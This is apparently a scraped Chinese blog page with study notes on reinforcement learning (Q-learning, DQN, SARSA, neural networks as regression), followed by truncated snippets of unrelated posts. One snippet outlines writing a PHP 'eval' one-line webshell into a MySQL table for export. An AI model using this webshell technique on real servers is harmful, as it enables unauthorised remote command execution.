正文前的兩個問題：
一、強化學習與監督非監督學習的區別：1、從策略更新依據的角度說（標籤還是獎勵）：
監督學習，人知道什麼是對的，並標籤資料。 非監督學習，人知道什麼是對的，沒有完全標籤資料。
強化學習，人不知道什麼是對的，不知道要怎樣做，但可以評價智慧型體與環境互動的好不好，設定獎勵。
2、狀態空間到策略空間的難度（神經網路的作用）：
深度學習用大量的卷積神經網路處理理解feature map，建立基於特徵理解的對映。
強化學習使用神經網路一般是做資料降維用的，使用的比較簡單，對特徵不敏感。
二、神經網路既可以做特徵圖理解，又可以做資料降維，本質是多項式回歸？1、回歸分析用數學表示式來描述變數間的相關關係，通常是學習**資料模型的第乙個演算法。
（相關區別於變數間確定性的函式關係。感性認識是曲線擬合點集。）
2、線性回歸：擬合直線，
邏輯回歸：因變數二元（真/假）。
多項式回歸：自變數指數大於1。
多元回歸：自變數數量大於等於2。
參考博文：
神經網路本質是多項式回歸
3、神經網路的優勢：
1.神經網路屬於自適應能力很強的方法；
2.對於任意給定的函式，神經網路都能夠無限逼近，這是因為在分類的整個過程中，神經網路通過調整權值不斷地明確分類所依據的精確關係；
3.神經網路屬於非線性模型，這使得它能夠靈活地模擬現實世界中的資料之間的複雜關係。
參考：隨機q表
初始化狀態
根據ε-貪婪策略和q表選擇行為、行動獲得獎勵、更新q表（老估計q+係數*差距）、更新狀態、迴圈。
1、複雜問題q表龐大
2、off-policy，選動作時（決策、生成樣本）用ε-貪婪策略，更新q表時（計算下一狀態預期收益）用貪婪策略（max估計）
隨機神經網路
初始化狀態
根據貪婪策略和神經網路計算估計q值選擇行為、行動到達新位置獲得獎勵、更新神經網路（老神經網路係數+係數*差 距）、狀態加
一、迴圈。
1、使用狀態和動作作為神經網路的輸入、估計動作的q值
隨機q表
初始化狀態、根據貪婪策略和q表選擇行為
行動獲得獎勵、根據貪婪策略和q表選擇下一步行為，更新q表（老估計q+係數*差距）、更新狀態動作、迴圈。
1、on-policy，選動作時用ε-貪婪策略，更新q表時（用當前策略估計下一步收益）用ε-貪婪策略
mysql 匯出一句話 MySQL 匯出一句話
drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表，裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...
一句話提醒
1 在c 中，父窗體要訪問子窗體變數，需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素，此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素，元素前後沒有換行符。4 document.getelementb...
一句話命令
bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...